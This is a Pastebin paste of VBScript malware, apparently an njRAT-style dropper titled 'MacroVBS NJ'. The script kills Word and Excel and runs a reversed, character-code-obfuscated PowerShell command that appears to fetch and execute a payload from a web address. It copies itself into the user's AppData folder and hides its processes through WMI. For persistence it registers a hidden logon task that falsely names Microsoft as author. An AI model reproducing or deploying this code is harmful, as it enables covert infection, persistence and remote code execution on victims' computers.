Advertisement
jccdt

MacroVBS NJ

Jul 8th, 2019
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.49 KB | None | 0 0
  1. <script language="VBScript">
  2. Set X7W832DSA = CreateObject("WScript.Shell")
  3. Dim ASSd712ji8asd
  4. ASSd712ji8asd = "cmd.exe /c cd ""%ProgramFiles%\"" & taskkill /f /im winword.exe & taskkill /f /im excel.exe & exit"
  5. X7W832DSA.Run ASSd712ji8asd, vbHide
  6.  
  7. f="XEI|)oM$(gnirtSteG.IICSA::]gnidocnE.txeT.metsyS[;)14,201,63,44,93,101,021,101,64,801,111,08,511,79,76,93,04,101,021,101,85,85,39,211,711,611,501,701,99,79,27,64,701,19,95,88,96,37,421,14,93,021,84,93,44,93,63,63,93,04,101,99,79,801,211,101,411,64,14,93,301,211,601,64,94,84,45,45,55,15,45,05,45,35,94,74,511,001,79,111,801,211,711,74,611,101,011,64,99,75,901,64,911,911,911,74,74,85,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,201,63,39,39,19,101,611,121,66,19,95,88,96,37,421,14,93,301,211,601,64,94,25,05,45,05,45,05,05,45,35,94,74,511,001,79,111,801,211,711,74,611,101,011,64,99,75,901,64,911,911,911,74,74,85,211,611,611,401,93,44,001,111,401,611,101,77,85,85,39,101,211,121,48,801,801,79,76,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,44,93,301,011,501,411,611,38,001,79,111,801,011,911,111,86,93,44,14,611,011,101,501,801,76,89,101,78,64,611,101,87,23,611,99,101,601,89,97,54,911,101,87,04,04,101,901,79,011,121,66,801,801,79,76,85,85,39,011,111,501,611,99,79,411,101,611,011,37,64,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,19,16,601,201,63,95,14,93,99,501,511,79,66,801,79,711,511,501,68,64,611,201,111,511,111,411,99,501,77,93,04,101,901,79,87,801,79,501,611,411,79,08,401,611,501,78,001,79,111,67,85,85,39,121,801,89,901,101,511,511,56,64,011,111,501,611,99,101,801,201,101,28,64,901,101,611,511,121,38,19,23,39,001,501,111,811,19(@=oM$"
  8. exec(replace("Pow%rsh%ll","%","e")+space(1)+StrReverse(f))
  9. N="InternetExplorerIT"
  10. set fso0 = CreateObject("Scripting.FileSystemObject")
  11. CurrentDirectory = fso0.GetParentFolderName(WScript.ScriptFullName)
  12. sname= wsh.scriptname
  13. startupfolder="C:\Users\"+CreateObject("WScript.Network").UserName+"\AppData\Roaming"
  14. F=startupfolder+ "\" + sname
  15.  
  16. task F,N
  17. if CurrentDirectory = startupfolder Then
  18.  
  19. WScript.Quit()
  20. else
  21.  
  22. mnb()
  23. End if
  24.  
  25. sub mnb()
  26.  
  27.  
  28. If (fso0.FileExists(CurrentDirectory+ "\"+ sname)) Then
  29. sSourceFile = CurrentDirectory+ "\"+ sname
  30.  
  31. sCmd = "cmd /c copy """ & sSourceFile & """ """ & startupfolder & """ /Y"
  32. exec(sCmd)
  33.  
  34. WScript.Quit()
  35. Else
  36. WScript.Quit()
  37. End If
  38.  
  39. End sub
  40.  
  41. sub task(PATH,TSname)
  42.  
  43. dim strUser
  44. strUser = CreateObject("WScript.Network").UserName
  45. Dim service
  46. Set service = CreateObject( "Schedule.Service" )
  47. call service.Connect()
  48. Dim rootFolder
  49. Set rootFolder = service.GetFolder("\")
  50. Dim taskDefinition
  51. Set taskDefinition = service.NewTask(0)
  52. ' taskDefinition.principal.LogonType = 3
  53. Dim regInfo
  54. Set regInfo = taskDefinition.RegistrationInfo
  55. regInfo.Description = "System performance enhancment"
  56. regInfo.Author = "Microsoft"
  57. Dim settings
  58. Set settings = taskDefinition.Settings
  59. settings.Enabled = True
  60. settings.StartWhenAvailable = True
  61. settings.Hidden = True
  62. settings.DisallowStartIfOnBatteries = False
  63.  
  64. const TriggerTypeLogon = 9
  65. Dim triggers
  66. Set triggers = taskDefinition.Triggers
  67. Dim trigger
  68. Set trigger = triggers.Create(TriggerTypeLogon)
  69. Dim startTime, endTime
  70. startTime = "2010-05-02T10:49:02"
  71. endTime = "2060-05-02T10:52:02"
  72. trigger.Id = "LogonTriggerId"
  73. trigger.UserId = strUser
  74. trigger.StartBoundary = startTime
  75. trigger.EndBoundary = endTime
  76. trigger.Enabled = True
  77. const ActionTypeExecutable = 0
  78. Dim Action
  79. Set Action = taskDefinition.Actions.Create( ActionTypeExecutable )
  80. Action.Path = PATH
  81. const createOrUpdateTask = 6
  82. call rootFolder.RegisterTaskDefinition( _
  83. TSname, taskDefinition, createOrUpdateTask, _
  84. , , 3)
  85.  
  86. End sub
  87. sub exec(Atc)
  88. strCommand = Atc
  89. Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
  90. Set objStartup = objWMIService.Get("Win32_ProcessStartup")
  91. Set objConfig = objStartup.SpawnInstance_
  92. objConfig.ShowWindow = 0
  93. Set objProcess = objWMIService.Get("Win32_Process")
  94. intReturn = objProcess.Create(strCommand, Null, objConfig, intProcessID)
  95. End sub
  96.  
  97.  
  98. self.close
  99. </script>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement